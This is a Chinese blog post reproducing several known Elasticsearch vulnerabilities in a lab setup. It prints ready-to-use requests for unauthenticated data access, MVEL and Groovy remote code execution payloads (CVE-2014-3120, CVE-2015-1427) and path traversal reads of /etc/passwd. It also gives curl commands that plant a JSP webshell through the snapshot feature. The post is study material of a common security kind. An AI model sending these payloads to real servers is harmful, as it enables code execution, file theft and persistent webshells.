ElasticSearch漏洞复现

已于 2023-05-19 09:28:50 修改
阅读量2.2k 收藏
点赞数 1
文章标签： elasticsearch 搜索引擎 大数据 web安全 网络安全
于 2023-05-19 09:25:51 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_63980959/article/details/130759631
版权

ElasticSearch漏洞复现

Elasticsearch 是一个非常强大的搜索引擎。它目前被广泛地使用于各个 IT 公司。Elasticsearch 是由 Elastic 公司创建。它的代码位于 GitHub - elastic/elasticsearch: Free and Open, Distributed, RESTful Search Engine。Elasticsearch 是一个分布式、免费和开放的搜索和分析引擎，适用于所有类型的数据，包括文本、数字、地理空间、结构化和非结构化数据。 Elasticsearch 基于 Apache Lucene 构建，并于 2010 年由 Elasticsearch N.V. 首次发布（现在称为 Elastic）。Elasticsearch 以其简单的 REST API、分布式特性、速度和可扩展性而闻名，是 Elastic Stack 的核心组件，Elastic Stack 是一组用于数据摄取、丰富、存储、分析和可视化的免费开放工具。 通常被称为 ELK Stack。Elastic 公司也同时拥有 Logstash 及 Kibana 开源项目。这个三个项目组合在一起，就形成了 ELK 软件栈。他们三个共同形成了一个强大的生态圈。简单地说，Logstash 负责数据的采集，处理（丰富数据，数据转换等），Kibana 负责数据展示，分析，管理，监督，警报及方案。Elasticsearch 处于最核心的位置，它可以帮我们对数据进行存储，并快速地搜索及分析数据。随着后来的 Beats 加入，ELK 软件栈，也被称为 ELKB。

文章目录

Elasticsearch未授权访问

原理

未设置密码

影响版本

ALL

复现

直接get请求即可

http://xxxxxxxx:9200/_cat/indices 里面的indices包含了_river一般就是安装了river了。
http://xxxxxxxx:9200/_plugin/head/ web管理界面
http://xxxxxxxx:9200/_nodes 查看节点数据
http://xxxxxxxx:9200/_river/_search 查看数据库敏感信息

ElasticSearch 命令执行漏洞（CVE-2014-3120）

原理

老版本ElasticSearch支持传入动态脚本（MVEL）来执行一些复杂的操作，而MVEL可执行Java代码，而且没有沙盒，所以我们可以直接执行任意代码。

影响版本

ElasticSearch 1.2之前的版本

复现

访问http://your-ip:9200

开始攻击，直接访问下面的URL即可创建数据

POST /website/blog/ HTTP/1.1
Host: 192.168.0.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

image-20230516201408469

上图说明存在漏洞

然后，执行任意代码：

POST /_search?pretty HTTP/1.1
Host: 192.168.0.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"whoami\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

image-20230516201404530

ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞（CVE-2015-1427）

原理

CVE-2014-3120后，ElasticSearch默认的动态脚本语言换成了Groovy，并增加了沙盒，但默认仍然支持直接执行动态语言。本漏洞：1.是一个沙盒绕过； 2.是一个Goovy代码执行漏洞。

影响版本

ALL

复现

Groovy语言“沙盒”

ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本，但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法：

1 既然对执行Java代码有沙盒，lupin的方法是想办法绕过沙盒，比如使用Java反射
2 Groovy原本也是一门语言，于是tang3另辟蹊径，使用Groovy语言支持的方法，来直接执行命令，无需使用Java语言

所以，根据这两种执行漏洞的思路，我们可以获得两个不同的POC。
Java沙盒绕过法：

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Goovy直接执行命令法：

def command='id';def res=command.execute().text;res

首先，该漏洞需要es中至少存在一条数据，所以我们需要先创建一条数据：

POST /website/blog/ HTTP/1.1
Host: 192.168.0.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

image-20230516202332278

Goovy直接执行命令

POST /_search?pretty HTTP/1.1
Host: 192.168.0.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

image-20230516202423818

Java沙盒绕过法：

POST /_search?pretty HTTP/1.1
Host: 192.168.0.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 489

{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":
                "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }

}

image-20230516202506651

ElasticSearch 目录穿越漏洞（CVE-2015-3337）

原理

在安装了具有“site”功能的插件以后，插件目录使用../即可向上跳转，导致目录穿越漏洞，可读取任意文件。没有安装任意插件的elasticsearch不受影响。

影响版本

1.4.5以下/1.5.2以下

复现

访问http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd读取任意文件（不要在浏览器访问）：

ElasticSearch 目录穿越漏洞（CVE-2015-5531）

原理

elasticsearch 1.5.1及以前，无需任何配置即可触发该漏洞。之后的新版，配置文件elasticsearch.yml中必须存在path.repo，该配置值为一个目录，且该目录必须可写，等于限制了备份仓库的根位置。不配置该值，默认不启动这个功能。

影响版本

1.6.1以下

复现

新建一个仓库

PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

image-20230516204156397

创建一个快照

PUT /_snapshot/test2 HTTP/1.1
Host: 192.168.0.131:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

image-20230516204256330

目录穿越读取任意文件

访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

image-20230516205332532

image-20230516205307775

Elasticsearch写入webshell漏洞（WooYun-2015-110216）

原理

ElasticSearch具有备份数据的功能，用户可以传入一个路径，让其将数据备份到该路径下，且文件名和后缀都可控。

所以，如果同文件系统下还跑着其他服务，如Tomcat、PHP等，我们可以利用ElasticSearch的备份功能写入一个webshell。

和CVE-2015-5531类似，该漏洞和备份仓库有关。在elasticsearch1.5.1以后，其将备份仓库的根路径限制在配置文件的配置项path.repo中，而且如果管理员不配置该选项，则默认不能使用该功能。即使管理员配置了该选项，web路径如果不在该目录下，也无法写入webshell。

影响版本

1.5.x之前。

复现

首先创建一个恶意索引文档：

curl -XPOST http://192.168.0.131:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'

再创建一个恶意的存储库，其中location的值即为我要写入的路径。

curl -XPUT 'http://192.168.0.131:9200/_snapshot/yz.jsp' -d '{
     "type": "fs",
     "settings": {
          "location": "/usr/local/tomcat/webapps/wwwroot/",
          "compress": false
     }
}'

存储库验证并创建:

curl -XPUT "http://192.168.0.131:9200/_snapshot/yz.jsp/yz.jsp" -d '{
     "indices": "yz.jsp",
     "ignore_unavailable": "true",
     "include_global_state": false
}'

该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串，如,

image-20230516210120944

该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串，如,

http://192.168.0.131:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=wooYun-2015-110216

image-20230516210504946

我们再访问/wwwroot/test.jsp就能看到了

image-20230516210509679

石院张铁蛋
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
elasticsearch漏洞监测工具
07-01
elasticsearch漏洞监测工具
Elasticsearch7.X漏洞修复实践
sinat_34241861的博客
06-15 2050
一、漏洞描述 ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java开发的，并作为Apache许可条款下的开放源码发布，是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费，所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致，攻击者可以拥有Elasticsearch的所有权限。可
ElasticSearch 命令执行漏洞（CVE-2014-3120），不愧是大佬
最新发布
2401_84166103的博客
04-09 924
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
ElasticSearch几个漏洞总结
热门推荐
u011066706的专栏
04-17 2万+
ElasticSearch远程命令执行(CVE-2014-3120) 漏洞介绍： ElasticSearch有脚本执行(scripting)的功能，可以很方便地对查询出来的数据再加工处理。ElasticSearch用的脚本引擎是MVEL，这个引擎没有做任何的防护，或者沙盒包装，所以直接可以执行任意代码。 而在ElasticSearch 1.2之前的版本中，默认配置是打开动态脚本功能的，如
Elasticsearch未授权访问漏洞(Es未授权访问)
一直在水些技术小文
03-25 9265
Elasticsearch是一个开源的高扩展的分布式全文检索引擎，它可以近乎实时的存储、检索数据；本身扩展性很好，可以扩展到上百台服务器，处理PB级别的数据。Elasticsearch也使用Java开发并使用Lucene作为其核心来实现所有索引和搜索的功能，但是它的目的是通过简单的RESTful API来隐藏Lucene的复杂性，从而让全文搜索变得简单。 当ElasticSearch的节点启动后，它会利用多播(multicast)(或者单播，如果用户更改了配置)寻找集群中的其它节点，并与之建立连接。这个过程
Elasticsearch漏洞汇总比较全
weixin_50464560的博客
08-23 5205
本测试环境同时运行了Tomcat和ElasticSearch，Tomcat目录在/usr/local/tomcat，web目录是/usr/local/tomcat/webapps；之后的新版，配置文件elasticsearch.yml中必须存在path.repo，该配置值为一个目录，且该目录必须可写，等于限制了备份仓库的根位置。不配置该值，默认不启动这个功能。我们的目标就是利用ElasticSearch，在/usr/local/tomcat/webapps目录下写入我们的webshell。
Elasticsearch_1.2漏洞利用工具
05-15
Elasticsearch_1.2漏洞利用工具，可以执行命令，上传文件，浏览文件。
Elasticsearch未授权访问漏洞
12-22 7145
　　Elasticsearch服务普遍存在一个未授权访问的问题，攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。 0x00 Elasticsearch 安装 前提，保证安装了JDK 1.7+ 下载地址：https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip (用迅雷打开下载，...
ElasticSearch 命令执行漏洞 CVE-2014-3120 漏洞测试
ADummy的博客
02-24 293
ElasticSearch 命令执行漏洞（CVE-2014-3120） by ADummy 0x00利用路线 ​ Burpsuite抓包—>java代码放入json—>有回显命令执行 0x01漏洞介绍 ​ 老版本ElasticSearch支持传入动态脚本（MVEL）来执行一些复杂的操作，而MVEL可执行Java代码，而且没有沙盒，所以我们可以直接执行任意代码。 MVEL执行命令的代码如下： import java.io.*; new java.util.Scanner(Runtime.g
ElasticSearch（CVE-2014-3120）命令执行漏洞复现
qq_44504968的博客
09-23 904
ElasticSearch（CVE-2014-3120）命令执行漏洞复现漏洞原理实验环境漏洞环境漏洞复现 漏洞原理 老版本ElasticSearch支持传入动态脚本（MVEL）来执行一些复杂的操作，而MVEL可执行Java代码，而且没有沙盒，所以我们可以直接执行任意代码。 知识点普及： 1、Elasticsearch，是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java语言开发的，并作为Apache许可条款下
Elasticsearch漏洞检测.rar
11-22
Elasticsearch漏洞检测工具，包含Elasticsearch_1.2漏洞利用工具.jar和esExploit (elasticsearch)终极版.jar（Powered By VTI），如有侵权请联系删除。
elasticsearch-8.2.3 windows 版本
06-21
elasticsearch-8.2.3 windows 版本。 Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java语言开发的，并作为Apache许可条款下的...
ElasticSearch官方测试数据
09-14
ElasticSearch官方测试数据
es docker 部署 elasticsearch.yml
03-19
docker run --name elasticsearch7.16.3 -p 127.0.0.1:9200:9200 -p 127.0.0.1:9300:9300 -e "discovery.type=single-node" -v /Users/xingyue/Home/xingyue/学习/工程化/es/elasticsearch.yml:/usr/share/elastic...
Elasticsearch 常见漏洞复现合集
寒星的博客
05-27 8294
Elasticsearch未授权访问 一、漏洞简介 ElasticSearch 是一款Java编写的企业级搜索服务，启动此服务默认会开放HTTP-9200端口，可被非法操作数据。 二、影响版本 ALL 三、复现过程 复现环境 vulhub 复现步骤 安装了river之后可以同步多种数据库数据（包括关系型的mysql、mongodb等）。 http://xxxxxxxx:9200/_cat/indices 里面的indices包含了_river一般就是安装了river了。 http://xxxxxxxx:9.
ElasticSearch 命令执行漏洞（CVE-2014-3120）
流浪法师的博客
04-14 3723
ElasticSearch 命令执行漏洞（CVE-2014-3120）
Elasticsearch与最新的log4j2零日漏洞
点火三周的专栏
12-12 6937
今天真的是焦头烂额，新出来的这个log4j2零日漏洞看起来杀伤力极大，影响了Apache Struts2, Apache Solr, Apache Druid, Apache Flink等重量级的开源项目。当然也包括我们的Elasticsearch。在官方正式的通告、解决方案，补丁出来之前，我这里先简答说一下我个人的测试结果（注意，不代表官方！） 划重点： 我个人的测试结果是：只有ES 5+JDK8能复现。ES 5+JDK12，ES 6+JDK8，ES 7+JDK8均无法进行远程代码执行 测试方案： 使用
Elasticsearch未授权访问漏洞复现
05-18
Elasticsearch未授权访问漏洞是指攻击者可以通过访问Elasticsearch的默认端口（9200）获取敏感信息，甚至可以对数据进行修改和删除。下面是一个简单的复现过程： 1. 下载安装Elasticsearch 首先需要下载并安装Elasticsearch，可以从官网 https://www.elastic.co/downloads/elasticsearch 下载适合自己操作系统的版本。安装完成后启动Elasticsearch。 2. 测试未授权访问 使用curl命令访问Elasticsearch的默认端口，可以看到返回的json格式数据，其中包含了Elasticsearch的版本信息、集群名称等。 ``` curl http://localhost:9200/ ``` 如果返回的结果中包含了类似以下内容，说明Elasticsearch存在未授权访问漏洞。 ``` { "name" : "node-1", "cluster_name" : "elasticsearch", "cluster_uuid" : "zZl94mWlQq6RQlN4WmAz5w", "version" : { "number" : "7.9.3", "build_flavor" : "default", "build_type" : "tar", "build_hash" : "c4138e51121ef06a6404866cddc601906fe5c868", "build_date" : "2020-10-16T10:36:16.141335Z", "build_snapshot" : false, "lucene_version" : "8.6.2", "minimum_wire_compatibility_version" : "6.8.0", "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" } ``` 3. 利用未授权访问漏洞 利用未授权访问漏洞可以进行一些危害性较大的操作，比如删除数据、创建索引等。这里我们只演示一下获取敏感信息的操作。 使用curl命令访问Elasticsearch中的某个索引，可以看到其中包含了一些敏感信息，比如用户名、密码等。 ``` curl http://localhost:9200/_cat/indices ``` 如果返回的结果中包含了类似以下内容，说明存在敏感信息泄露。 ``` yellow open .kibana_task_manager_1 6rJQh5E8R0yUH9WdPQzLrw 1 1 3 0 35.4kb 35.4kb yellow open .kibana_1 5QZvZnS-QOyvZBTl2t6bKg 1 1 2 0 13.4kb 13.4kb ``` 4. 解决方法 为避免Elasticsearch的未授权访问漏洞，可以进行以下操作： - 修改配置文件中的network.host配置，限制Elasticsearch只能在特定的IP地址或网段上运行。 - 启用Elasticsearch的安全特性，比如启用访问控制、数据加密等。 以上是Elasticsearch未授权访问漏洞的简单复现过程，希望对您有帮助。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值